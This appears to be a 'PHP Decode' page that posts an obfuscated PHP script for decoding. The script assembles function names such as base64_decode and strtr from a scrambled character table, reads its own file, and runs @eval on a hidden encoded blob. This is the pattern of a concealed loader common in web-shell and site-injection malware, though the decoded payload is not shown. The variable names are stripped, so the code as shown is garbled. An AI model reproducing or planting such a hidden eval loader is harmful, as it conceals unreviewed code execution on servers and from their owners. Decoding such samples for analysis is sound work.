PHP Decode

<?php 
$currentfile = __FILE__; //Signature is : 31f123e5785fc03b6370c7f57b4df50d 
//############################################################################ 
$='s_yeru6oictf4mlbpad';$=$[11].$[8].$[14].$[3];$=$[0].$[10].$[4].$[1].$[4].$[3].$[16].$[14].$[17].$[9].$[3];$=$[17].$[4].$[4].$[17].$[2].$[1].$[16].$[7].$[16];$=$[8].$[13].$[16].$[14].$[7].$[18].$[3];$=$[0].$[5].$[15].$[0].$[10].$[4];$=$[0].$[10].$[4].$[4].$[16].$[7].$[0];$=$[15].$[17].$[0].$[3].$[6].$[12].$[1].$[18].$[3].$[9].$[7].$[18].$[3];$=$[0].$[10].$[4].$[10].$[4];$=$($('\','/',__FILE__));$=$($);$=$($);$=$('',$).$($,0,$($,'@ev'));$='f922f30f3858bb0608185ddb430ddd57';$=$=$=NULL;@eval($($($,'',$('ufB/0NVqOudeupFD0+jpphjFWgeNwquODFXfNE/6BD/psNtwZR0YQRZ9WijH/uNgHNuVQV+sDhgp7pqeRRN=6s+ZNe/0HonQ6i0dHYN9s+hNdQNQe+quO+H9it=g7QV7/fu60QN9+jBNhxEQopsipZUuUeVFsdgD=hBFbQ6o9FE0EeQY/Vqgpe9fDZ0NiR0ZVBp0jXxR+RmuORi=tUuffnm','UJKmfXnBzRV+atw4PIjeS6c13HMQCDW9Ti8YG0Orlo2g5bhq/ExZA7v=LspyFdukN','192U7EqwB5SFt4cAru6oDiVh=TxRefOazdpKCNg8n/M+HGksQl0bY3yWjZJXLPIvm'))));unset($,$,$,$,$,$,$,$,$,$,$,$,$,$);return;?> 
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